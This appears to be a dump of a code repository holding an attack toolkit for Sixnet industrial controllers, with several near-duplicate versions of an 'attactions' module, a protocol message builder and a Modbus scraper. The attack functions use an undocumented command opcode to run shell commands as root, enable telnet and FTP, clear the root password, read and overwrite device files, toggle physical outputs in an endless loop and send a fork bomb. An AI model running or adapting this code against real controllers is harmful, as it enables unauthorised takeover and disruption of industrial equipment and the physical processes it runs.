13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(sixnet_config, ip)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(sixnet_config, new_config, ip)
27 | print("Success!")
28 |
29 | def fingerprint(ip):
30 | """Gets the Sixnet firmware version, network settings, station number, and OS version"""
31 | file = "/etc/sxbuildinfo.txt"
32 | build_info = file_manip.get_file(ip, file)
33 |
34 | #format the build info to remove unnecessary data
35 | build_info = build_info.split("\t")
36 | build_info = build_info[0] + " " + build_info[1]
37 |
38 | #TODO: Find analog/digital inputs/outputs
39 | #I think the only way to do it is to query each one and see if I get a response or an error or something
40 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
41 | #only 4 of those are actually being used.
42 |
43 | #just send a uname command over
44 | os_ver = STX_Networking.send_command(ip,"uname -sr").data[4:-2].decode("hex")
45 | #same for hostname
46 | hostname = STX_Networking.send_command(ip,"hostname").data[4:-2].decode("hex")
47 |
48 | #station number
49 | gencfg = file_manip.get_file(ip, "/etc/stacfg/general.config")
50 | #pull it out of the general config file
51 | gencfg = gencfg.splitlines()
52 | stat_num = ""
53 | for line in gencfg:
54 | if line.find("station number=") != -1:
55 | stat_num = line[line.find("=")+1:] #the number is right after the =
56 | break;
57 |
58 |
59 | print "Firmware:\t" + build_info
60 | print "OS: \t\t" + os_ver
61 | print "Host:\t\t" + hostname
62 | print "Station #:\t" + stat_num
63 |
64 | def clear_pass(ip):
65 | """Removes the password for the current user (most likely root)"""
66 | #find out who you are
67 | whoami = STX_Networking.send_command(ip, "whoami")
68 | #strip off header of data ( a null and a 0x05 or something)
69 | whoami = whoami.data[4:].decode("hex")
70 | #strip off newline
71 | whoami = whoami[:4]
72 |
73 | print "clearing password for " + whoami
74 | STX_Networking.send_command(ip,"passwd")
75 |
76 | def sup_shell(ip):
77 | """A very root shell for interfacing with the sixnet device at the designated ip"""
78 | print("Sixnet Universal Protocol shell v0.1")
79 | #find out who you are
80 | whoami = STX_Networking.send_command(ip, "whoami")
81 | #strip off header of data ( a null and a 0x05 or something)
82 | whoami = whoami.data[4:].decode("hex")
83 | #strip off newline
84 | whoami = whoami[:4]
85 |
86 | while(True):
87 | #read in the shell command from the user and send that shit off
88 | input = raw_input(whoami + "$ ")
89 | if(input == "exit"):
90 | break
91 |
92 | reply = STX_Networking.send_command(ip, input + "\n")
93 |
94 | #Decode the reply and print it
95 | print reply.data[4:].decode("hex")
96 |
97 | def get_file(ip, src, dst):
98 | print "reading..."
99 | file_manip.get_file(ip,src,dst)
100 | print "done"
101 |
102 | def write_file(ip, src, dst):
103 | print "writing..."
104 | f = open(src, "r")
105 | #cat the file contents
106 | file_manip.write_file(ip, dst, f.read())
107 |
108 | def forkbomb(ip):
109 | STX_Networking.send_command(ip, "p(){ p|p& }; p")
110 | print "boom"
--------------------------------------------------------------------------------
/.svn/pristine/c9/c9f586a854a513861eccbb09f4efeaa0b4ffae60.svn-base:
--------------------------------------------------------------------------------
1 | class sup_msg(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 2"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP", 1 : "ACK", 2 : "NAK", 3 : "VERS",
18 | 4 : "NIO", 10 : "GETD", 11 : "GETB", 12 : "GETA",
19 | 13 : "GETS", 14 : "PUTD", 15 : "PUTB", 16 : "PUTA",
20 | 17 : "SETD", 18 : "CLRD", 24 : "SCLOCK", 25 : "GCLOCK",
21 | 32 : "IOXCHG", 208 : "Execute command"
22 | }
23 |
24 | #message for a NOP command (DOES NOT WORK)
25 | NOP = "7d07fff0c00000d70f".decode("hex")
26 |
27 | def __init__(self, message = None):
28 | if(not message is None):
29 | #if there is a message in the constructor then build a sup_msg from it
30 | self.message = message
31 | self.breakdown(message)
32 |
33 | def shell_command(self, shell_command):
34 | #7d15fff0c0001a00012f6574632f706173737764001d0f
35 | """Creates a sup message from a given command and data"""
36 | self.lead = "}".encode("hex")
37 | self.dst = "ff"
38 | self.src = "f0"
39 | self.session = "c0"
40 | self.sequence = "00"
41 | self.command = "d0"
42 | self.data = "1e0100" + shell_command.encode("hex") + "00"
43 | self.crc = "1d0f"
44 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
45 |
46 | def file_command(self, file_path):
47 | #7d:14:ff:f0:c0:00:1a:00:03:2f:65:74:63:2f:68:6f:73:74:73:00:1d:0f
48 | """Creates a sup message to retrieve a file from the device"""
49 | self.lead = "}".encode("hex")
50 | self.dst = "ff"
51 | self.src = "f0"
52 | self.session = "c0"
53 | self.sequence = "00"
54 | self.command = "1a" #another undocumented command
55 | self.data = "0003" + file_path.encode("hex") + "00"
56 | self.crc = "1d0f"
57 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
58 |
59 |
60 | def create(self):
61 | """Formats properties into a message to send over. Returns a string"""
62 | msg_str = self.lead
63 | #if the length is less than 16 then the hex value will be one character (0-f). This needs a leading zero so add it
64 | if(self.length < 16):
65 | msg_str += hex(self.length).replace("x","")
66 | else:
67 | msg_str += hex(self.length).replace("0x","")
68 | msg_str += self.dst + self.src + self.session + self.sequence + self.command + self.data + self.crc
69 | return msg_str
70 |
71 | def breakdown(self, message):
72 | """Breaks down the message to its component fields"""
73 | self.lead = message[0:2]
74 |
75 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
76 | self.dst = message[4:6]
77 | self.src = message[6:8]
78 | self.session = message[8:10]
79 | self.sequence = message[10:12]
80 | self.command = message[12:14] #self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
81 | self.data = message[14:(len(message)-4)] #convert the hex value stored as a string to an int
82 | self.crc = message[-4:] #last 2 bytes
83 |
84 | def print_all(self):
85 | """Prints all the fields of the message"""
86 | print("Lead: " + self.lead)
87 | print("Length: " + str(self.length))
88 | if(self.dst == "ff"):
89 | print("Destination station: ANY")
90 | else:
91 | print("Destination station: " + self.dst)
92 | print("Source Station: " + self.src)
93 | print("Session: " + self.session)
94 | print("Sequence: " + self.sequence)
95 | print("Command: " + self.commands.get(int(self.command), str.format("{0} (unrecognized)", self.command)))
96 | print("Data: " + self.data)
97 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.svn/pristine/29/290256e62cb609adc5faf4da408480c8acf2a212.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking, time
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(sixnet_config, ip)
10 |
11 | #find telnet part and change it from 0 to 1
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(sixnet_config, ip)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(sixnet_config, new_config, ip)
27 | print("Success!")
28 |
29 | def blinkenlights(ip):
30 | """set and clear discreet outputs for funsies"""
31 | pkt = sup_msg()
32 | #alternate lights blunked with half second interval
33 | while(True):
34 | pkt.set_digital(12) #3
35 | STX_Networking.send_msg(pkt.create(), ip)
36 | time.sleep(.5)
37 | pkt.set_digital(3)
38 | STX_Networking.send_msg(pkt.create(), ip)
39 | time.sleep(.5)
40 |
41 | def fingerprint(ip):
42 | """Gets the Sixnet firmware version, network settings, station number, and OS version"""
43 | file = "/etc/sxbuildinfo.txt"
44 | build_info = file_manip.get_file(ip, file)
45 |
46 | #format the build info to remove unnecessary data
47 | build_info = build_info.split("\t")
48 | build_info = build_info[0] + " " + build_info[1]
49 |
50 | #TODO: Find analog/digital inputs/outputs
51 | #I think the only way to do it is to query each one and see if I get a response or an error or something
52 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
53 | #only 4 of those are actually being used.
54 |
55 | #just send a uname command over
56 | os_ver = STX_Networking.send_command(ip,"uname -sr").data[4:-2].decode("hex")
57 | #same for hostname
58 | hostname = STX_Networking.send_command(ip,"hostname").data[4:-2].decode("hex")
59 |
60 | #station number
61 | gencfg = file_manip.get_file(ip, "/etc/stacfg/general.config")
62 | #pull it out of the general config file
63 | gencfg = gencfg.splitlines()
64 | stat_num = ""
65 | for line in gencfg:
66 | if line.find("station number=") != -1:
67 | stat_num = line[line.find("=")+1:] #the number is right after the =
68 | break;
69 |
70 |
71 | print "Firmware:\t" + build_info
72 | print "OS: \t\t" + os_ver
73 | print "Host:\t\t" + hostname
74 | print "Station #:\t" + stat_num
75 |
76 | def clear_pass(ip):
77 | """Removes the password for the current user (most likely root)"""
78 | #find out who you are
79 | whoami = STX_Networking.send_command(ip, "whoami")
80 | #strip off header of data ( a null and a 0x05 or something)
81 | whoami = whoami.data[4:].decode("hex")
82 | #strip off newline
83 | whoami = whoami[:4]
84 |
85 | print "clearing password for " + whoami
86 | STX_Networking.send_command(ip,"passwd")
87 |
88 | def sup_shell(ip):
89 | """A very root shell for interfacing with the sixnet device at the designated ip"""
90 | print("Sixnet Universal Protocol shell v0.1")
91 | #find out who you are
92 | whoami = STX_Networking.send_command(ip, "whoami")
93 | #strip off header of data ( a null and a 0x05 or something)
94 | whoami = whoami.data[4:].decode("hex")
95 | #strip off newline
96 | whoami = whoami[:4]
97 |
98 | while(True):
99 | #read in the shell command from the user and send that shit off
100 | input = raw_input(whoami + "$ ")
101 | if(input == "exit"):
102 | break
103 |
104 | reply = STX_Networking.send_command(ip, input + "\n")
105 |
106 | #Decode the reply and print it
107 | print reply.data[4:].decode("hex")
108 |
109 | def get_file(ip, src, dst):
110 | print "reading..."
111 | file_manip.get_file(ip,src,dst)
112 | print "done"
113 |
114 | def write_file(ip, src, dst):
115 | print "writing..."
116 | f = open(src, "r")
117 | #cat the file contents
118 | file_manip.write_file(ip, dst, f.read())
119 |
120 | def forkbomb(ip):
121 | STX_Networking.send_command(ip, "p(){ p|p& }; p")
122 | print "boom"
--------------------------------------------------------------------------------
/SIXNET tools/attactions.py:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking, time
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(ip, sixnet_config)
10 |
11 | #find telnet part and change it from 0 to 1.
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(ip, sixnet_config)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(ip, sixnet_config, new_config)
27 | print("Success!")
28 |
29 | def blinkenlights(ip):
30 | """set and clear discreet outputs for funsies"""
31 | pkt = sup_msg()
32 | #alternate lights blunked with half second interval
33 | while(True):
34 | pkt.set_digital(12) #3
35 | STX_Networking.send_msg(pkt.create(), ip)
36 | time.sleep(.5)
37 | pkt.set_digital(3)
38 | STX_Networking.send_msg(pkt.create(), ip)
39 | time.sleep(.5)
40 |
41 | def fingerprint(ip):
42 | """Gets the Sixnet firmware version, network settings, station number, and OS version"""
43 | file = "/etc/sxbuildinfo.txt"
44 | build_info = file_manip.get_file(ip, file)
45 |
46 | #format the build info to remove unnecessary data
47 | build_info = build_info.split("\t")
48 | build_info = build_info[0] + " " + build_info[1]
49 |
50 | #TODO: Find analog/digital inputs/outputs
51 | #I think the only way to do it is to query each one and see if I get a response or an error or something
52 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
53 | #only 4 of those are actually being used.
54 |
55 | #just send a uname command over
56 | os_ver = STX_Networking.send_command(ip,"uname -sr").data[4:-2].decode("hex")
57 | #same for hostname
58 | hostname = STX_Networking.send_command(ip,"hostname").data[4:-2].decode("hex")
59 |
60 | #station number
61 | gencfg = file_manip.get_file(ip, "/etc/stacfg/general.config")
62 | #pull it out of the general config file
63 | gencfg = gencfg.splitlines()
64 | stat_num = ""
65 | for line in gencfg:
66 | if line.find("station number=") != -1:
67 | stat_num = line[line.find("=")+1:] #the number is right after the =
68 | break;
69 |
70 |
71 | print ("Firmware:\t" + build_info)
72 | print ("OS: \t\t" + os_ver)
73 | print ("Host:\t\t" + hostname)
74 | print ("Station #:\t" + stat_num)
75 |
76 | def clear_pass(ip):
77 | """Removes the password for the current user (most likely root)"""
78 | #find out who you are
79 | whoami = STX_Networking.send_command(ip, "whoami")
80 | #strip off header of data ( a null and a 0x05 or something)
81 | whoami = whoami.data[4:].decode("hex")
82 | #strip off newline
83 | whoami = whoami[:4]
84 |
85 | print ("clearing password for " + whoami)
86 | STX_Networking.send_command(ip,"passwd")
87 |
88 | def sup_shell(ip):
89 | """A very root shell for interfacing with the sixnet device at the designated ip"""
90 | print("Sixnet Universal Protocol shell v0.1")
91 | #find out who you are
92 | whoami = STX_Networking.send_command(ip, "whoami")
93 | #strip off header of data ( a null and a 0x05 or something)
94 | whoami = whoami.data[4:].decode("hex")
95 | #strip off newline
96 | whoami = whoami[:4]
97 |
98 | while(True):
99 | #read in the shell command from the user and send that shit off
100 | input = raw_input(whoami + "$ ")
101 | if(input == "exit"):
102 | break
103 |
104 | reply = STX_Networking.send_command(ip, input + "\n")
105 |
106 | #Decode the reply and print it
107 | print (reply.data[4:].decode("hex"))
108 |
109 | def get_file(ip, src, dst = None):
110 | print ("reading...")
111 | if(dst == None):
112 | print (file_manip.get_file(ip,src,dst))
113 | else:
114 | file_manip.get_file(ip,src,dst)
115 | print ("done")
116 |
117 | def write_file(ip, src, dst):
118 | print ("writing...")
119 | f = open(src, "r")
120 | #cat the file contents
121 | file_manip.write_file(ip, dst, f.read())
122 |
123 | def forkbomb(ip):
124 | STX_Networking.send_command(ip, "p(){ p|p& }; p")
125 | print ("boom")
--------------------------------------------------------------------------------
/SIXNET tools/scraper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | '''
3 | This is a little out of date, give me a second to redo it.
4 | This utility can be used to fully scrape a modbus device
5 | and store its data as a Mobus Context for use with the
6 | simulator.
7 | '''
8 | import pickle
9 | from optparse import OptionParser
10 | from pymodbus.client.sync import ModbusTcpClient
11 |
12 | #--------------------------------------------------------------------------#
13 | # Logging
14 | #--------------------------------------------------------------------------#
15 | import logging
16 | client_log = logging.getLogger("pymodbus.client")
17 |
18 | #--------------------------------------------------------------------------#
19 | # Helper Classes
20 | #--------------------------------------------------------------------------#
21 | class ClientException(Exception):
22 | ''' Exception for configuration error '''
23 |
24 | def __init__(self, string):
25 | Exception.__init__(self, string)
26 | self.string = string
27 |
28 | def __str__(self):
29 | return 'Client Error: %s' % self.string
30 |
31 | class ClientScraper(object):
32 | ''' Exception for configuration error '''
33 |
34 | def __init__(self, host, port, address):
35 | '''
36 | Initializes the connection paramaters and requests
37 | @param host The host to connect to
38 | @param port The port the server resides on
39 | @param address The range to read to:from
40 | '''
41 | self.client = ModbusTcpClient(host=host, port=port)
42 | self.requests = range(*[int(j) for j in address.split(':')])
43 |
44 | def process(self, data):
45 | '''
46 | Starts the device scrape
47 | '''
48 | if (self.client.connect()):
49 | f = ModbusClientFactory(self.requests)
50 | self.p = reactor.connectTCP(self.host, self.port, f)
51 |
52 | class ContextBuilder(object):
53 | '''
54 | This class is used to build our server datastore
55 | for use with the modbus simulator.
56 | '''
57 |
58 | def __init__(self, output):
59 | '''
60 | Initializes the ContextBuilder and checks data values
61 | @param file The output file for the server context
62 | '''
63 | try:
64 | self.file = open(output, "w")
65 | except Exception:
66 | raise ClientException("Unable to open file [%s]" % output)
67 |
68 | def build(self):
69 | ''' Builds the final output store file '''
70 | try:
71 | result = self.makeContext()
72 | pickle.dump(result, self.file)
73 | print ("Device successfully scraped!")
74 | except Exception:
75 | raise ClientException("Invalid data")
76 | self.file.close()
77 | reactor.stop()
78 |
79 | def makeContext(self):
80 | ''' Builds the server context based on the passed in data '''
81 | # ModbusServerContext(d=sd, c=sc, h=sh, i=si)
82 | return "string"
83 |
84 | #--------------------------------------------------------------------------#
85 | # Main start point
86 | #--------------------------------------------------------------------------#
87 | def main():
88 | ''' Server launcher '''
89 | parser = OptionParser()
90 | parser.add_option("-o", "--output",
91 | help="The resulting output file for the scrape",
92 | dest="file", default="output.store")
93 | parser.add_option("-p", "--port",
94 | help="The port to connect to",
95 | dest="port", default=502)
96 | parser.add_option("-s", "--server",
97 | help="The server to scrape",
98 | dest="host", default="127.0.0.1")
99 | parser.add_option("-r", "--range",
100 | help="The address range to scan",
101 | dest="range", default="0:500")
102 | parser.add_option("-D", "--debug",
103 | help="Enable debug tracing",
104 | action="store_true", dest="debug", default=False)
105 | (opt, arg) = parser.parse_args()
106 |
107 | # enable debugging information
108 | if opt.debug:
109 | try:
110 | client_log.setLevel(logging.DEBUG)
111 | logging.basicConfig()
112 | except Exception as e:
113 | print ("Logging is not supported on this system")
114 |
115 | # Begin scraping
116 | try:
117 | #ctx = ContextBuilder(opt.file)
118 | s = ClientScraper(opt.host, opt.port, opt.range)
119 | reactor.callWhenRunning(s.start)
120 | reactor.run()
121 | except ClientException as err:
122 | print (err)
123 | parser.print_help()
124 |
125 | #---------------------------------------------------------------------------#
126 | # Main jumper
127 | #---------------------------------------------------------------------------#
128 | if __name__ == "__main__":
129 | main()
--------------------------------------------------------------------------------
/.svn/pristine/8e/8e224a5300a6b4a4e700951b104adf237387ec39.svn-base:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | '''
3 | This is a little out of date, give me a second to redo it.
4 | This utility can be used to fully scrape a modbus device
5 | and store its data as a Mobus Context for use with the
6 | simulator.
7 | '''
8 | import pickle
9 | from optparse import OptionParser
10 | from pymodbus.client.sync import ModbusTcpClient
11 |
12 | #--------------------------------------------------------------------------#
13 | # Logging
14 | #--------------------------------------------------------------------------#
15 | import logging
16 | client_log = logging.getLogger("pymodbus.client")
17 |
18 | #--------------------------------------------------------------------------#
19 | # Helper Classes
20 | #--------------------------------------------------------------------------#
21 | class ClientException(Exception):
22 | ''' Exception for configuration error '''
23 |
24 | def __init__(self, string):
25 | Exception.__init__(self, string)
26 | self.string = string
27 |
28 | def __str__(self):
29 | return 'Client Error: %s' % self.string
30 |
31 | class ClientScraper(object):
32 | ''' Exception for configuration error '''
33 |
34 | def __init__(self, host, port, address):
35 | '''
36 | Initializes the connection paramaters and requests
37 | @param host The host to connect to
38 | @param port The port the server resides on
39 | @param address The range to read to:from
40 | '''
41 | self.client = ModbusTcpClient(host=host, port=port)
42 | self.requests = range(*[int(j) for j in address.split(':')])
43 |
44 | def process(self, data):
45 | '''
46 | Starts the device scrape
47 | '''
48 | if (self.client.connect()):
49 | f = ModbusClientFactory(self.requests)
50 | self.p = reactor.connectTCP(self.host, self.port, f)
51 |
52 | class ContextBuilder(object):
53 | '''
54 | This class is used to build our server datastore
55 | for use with the modbus simulator.
56 | '''
57 |
58 | def __init__(self, output):
59 | '''
60 | Initializes the ContextBuilder and checks data values
61 | @param file The output file for the server context
62 | '''
63 | try:
64 | self.file = open(output, "w")
65 | except Exception:
66 | raise ClientException("Unable to open file [%s]" % output)
67 |
68 | def build(self):
69 | ''' Builds the final output store file '''
70 | try:
71 | result = self.makeContext()
72 | pickle.dump(result, self.file)
73 | print "Device successfully scraped!"
74 | except Exception:
75 | raise ClientException("Invalid data")
76 | self.file.close()
77 | reactor.stop()
78 |
79 | def makeContext(self):
80 | ''' Builds the server context based on the passed in data '''
81 | # ModbusServerContext(d=sd, c=sc, h=sh, i=si)
82 | return "string"
83 |
84 | #--------------------------------------------------------------------------#
85 | # Main start point
86 | #--------------------------------------------------------------------------#
87 | def main():
88 | ''' Server launcher '''
89 | parser = OptionParser()
90 | parser.add_option("-o", "--output",
91 | help="The resulting output file for the scrape",
92 | dest="file", default="output.store")
93 | parser.add_option("-p", "--port",
94 | help="The port to connect to",
95 | dest="port", default=502)
96 | parser.add_option("-s", "--server",
97 | help="The server to scrape",
98 | dest="host", default="127.0.0.1")
99 | parser.add_option("-r", "--range",
100 | help="The address range to scan",
101 | dest="range", default="0:500")
102 | parser.add_option("-D", "--debug",
103 | help="Enable debug tracing",
104 | action="store_true", dest="debug", default=False)
105 | (opt, arg) = parser.parse_args()
106 |
107 | # enable debugging information
108 | if opt.debug:
109 | try:
110 | client_log.setLevel(logging.DEBUG)
111 | logging.basicConfig()
112 | except Exception, e:
113 | print "Logging is not supported on this system"
114 |
115 | # Begin scraping
116 | try:
117 | #ctx = ContextBuilder(opt.file)
118 | s = ClientScraper(opt.host, opt.port, opt.range)
119 | reactor.callWhenRunning(s.start)
120 | reactor.run()
121 | except ClientException, err:
122 | print err
123 | parser.print_help()
124 |
125 | #---------------------------------------------------------------------------#
126 | # Main jumper
127 | #---------------------------------------------------------------------------#
128 | if __name__ == "__main__":
129 | main()
--------------------------------------------------------------------------------
/.svn/pristine/b1/b1fa9969776f32be97cf0f4dd0f76f5076b4b463.svn-base:
--------------------------------------------------------------------------------
1 | import common_lib
2 |
3 |
4 | class sup_msg(object):
5 | """SIXNET Universal Protocol message
6 | #field order/size (bytes)
7 | # lead 1
8 | # length 1
9 | # dest 1 or 2
10 | # src 1 or 2
11 | # session 1
12 | # sequence 1
13 | # command 1
14 | # data variable
15 | # crc 2"""
16 | #TODO:
17 |
18 | commands = {
19 | 0 : "NOP", 1 : "ACK", 2 : "NAK", 3 : "VERS",
20 | 4 : "NIO", 10 : "GETD", 11 : "GETB", 12 : "GETA",
21 | 13 : "GETS", 14 : "PUTD", 15 : "PUTB", 16 : "PUTA",
22 | 17 : "SETD", 18 : "CLRD", 24 : "SCLOCK", 25 : "GCLOCK",
23 | 26 : "FILEOP", 32 : "IOXCHG", 208 : "Execute command"
24 | }
25 |
26 | #message for a NOP command (DOES NOT WORK)
27 | NOP = "7d07fff0c00000d70f".decode("hex")
28 |
29 | def __init__(self, message = None):
30 | if(not message is None):
31 | #if there is a message in the constructor then build a sup_msg from it
32 | self.message = message
33 | self.breakdown(message)
34 |
35 | def shell_command(self, shell_command):
36 | #7d15fff0c0001a00012f6574632f706173737764001d0f
37 | """Creates a sup message from a given command and data"""
38 |
39 | self.generic_msg()
40 |
41 | self.command = "d0"
42 | self.data = "1e0100" + shell_command.encode("hex") + "00"
43 |
44 | self.calc_length()
45 |
46 | def file_command(self, file_path, r_w, file_size=None):
47 | #7d:14:ff:f0:c0:00:1a:00:03:2f:65:74:63:2f:68:6f:73:74:73:00:1d:0f
48 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
49 | self.generic_msg()
50 |
51 | self.command = "1a" #another undocumented command
52 | if r_w == "r":
53 | self.data = "0003" + file_path.encode("hex") + "00"
54 | elif r_w == "w":
55 | self.data = "0303" + common_lib.int_to_hex_string(file_size).zfill(8) + file_path.encode("hex") + "00"
56 | else:
57 | raise ValueError('r_w is not an \'r\' or a \'w\'')
58 |
59 | self.calc_length()
60 |
61 | def write_data(self, contents, check, start_index):
62 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
63 | self.generic_msg()
64 |
65 | self.command = "1a" #another undocumented command
66 | self.data = "02" + check + common_lib.int_to_hex_string(start_index).zfill(8) + common_lib.int_to_hex_string(len(contents)).zfill(4)
67 | self.data += contents.encode("hex")
68 |
69 | self.calc_length()
70 |
71 | def generic_msg(self):
72 | """Creates a generic SUP message. Fill in the command and data yourself"""
73 | self.lead = "}".encode("hex")
74 | self.dst = "ff"
75 | self.src = "f0"
76 | self.session = "c0"
77 | self.sequence = "00"
78 | self.crc = "1d0f"
79 |
80 | def calc_length(self):
81 | """Calculates the length field for the message"""
82 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
83 |
84 | def create(self):
85 | """Formats properties into a message to send over. Returns a string"""
86 | msg_str = self.lead
87 | #if the length is less than 16 then the hex value will be one character (0-f). This needs a leading zero so add it
88 | if(self.length < 16):
89 | msg_str += hex(self.length).replace("x","")
90 | else:
91 | msg_str += hex(self.length).replace("0x","")
92 | msg_str += self.dst + self.src + self.session + self.sequence + self.command + self.data + self.crc
93 | return msg_str
94 |
95 | def breakdown(self, message):
96 | """Breaks down the message to its component fields"""
97 | self.lead = message[0:2]
98 |
99 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
100 | self.dst = message[4:6]
101 | self.src = message[6:8]
102 | self.session = message[8:10]
103 | self.sequence = message[10:12]
104 | self.command = message[12:14] #self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
105 | self.data = message[14:(len(message)-4)] #convert the hex value stored as a string to an int
106 | self.crc = message[-4:] #last 2 bytes
107 |
108 | def print_all(self):
109 | """Prints all the fields of the message"""
110 | print("Lead: " + self.lead)
111 | print("Length: " + str(self.length))
112 | if(self.dst == "ff"):
113 | print("Destination station: ANY")
114 | else:
115 | print("Destination station: " + self.dst)
116 | print("Source Station: " + self.src)
117 | print("Session: " + self.session)
118 | print("Sequence: " + self.sequence)
119 | print("Command: " + self.commands.get(int(self.command), str.format("{0} (unrecognized)", self.command)))
120 | print("Data: " + self.data)
121 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | [Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | [Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | project.fragment.lock.json
46 | artifacts/
47 |
48 | *_i.c
49 | *_p.c
50 | *_i.h
51 | *.ilk
52 | *.meta
53 | *.obj
54 | *.pch
55 | *.pdb
56 | *.pgc
57 | *.pgd
58 | *.rsp
59 | *.sbr
60 | *.tlb
61 | *.tli
62 | *.tlh
63 | *.tmp
64 | *.tmp_proj
65 | *.log
66 | *.vspscc
67 | *.vssscc
68 | .builds
69 | *.pidb
70 | *.svclog
71 | *.scc
72 |
73 | # Chutzpah Test files
74 | _Chutzpah*
75 |
76 | # Visual C++ cache files
77 | ipch/
78 | *.aps
79 | *.ncb
80 | *.opendb
81 | *.opensdf
82 | *.sdf
83 | *.cachefile
84 | *.VC.db
85 | *.VC.VC.opendb
86 |
87 | # Visual Studio profiler
88 | *.psess
89 | *.vsp
90 | *.vspx
91 | *.sap
92 |
93 | # TFS 2012 Local Workspace
94 | $tf/
95 |
96 | # Guidance Automation Toolkit
97 | *.gpState
98 |
99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 |
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 |
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 |
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 |
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 |
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 |
122 | # Web workbench (sass)
123 | .sass-cache/
124 |
125 | # Installshield output folder
126 | [Ee]xpress/
127 |
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 |
138 | # Click-Once directory
139 | publish/
140 |
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 |
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 |
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
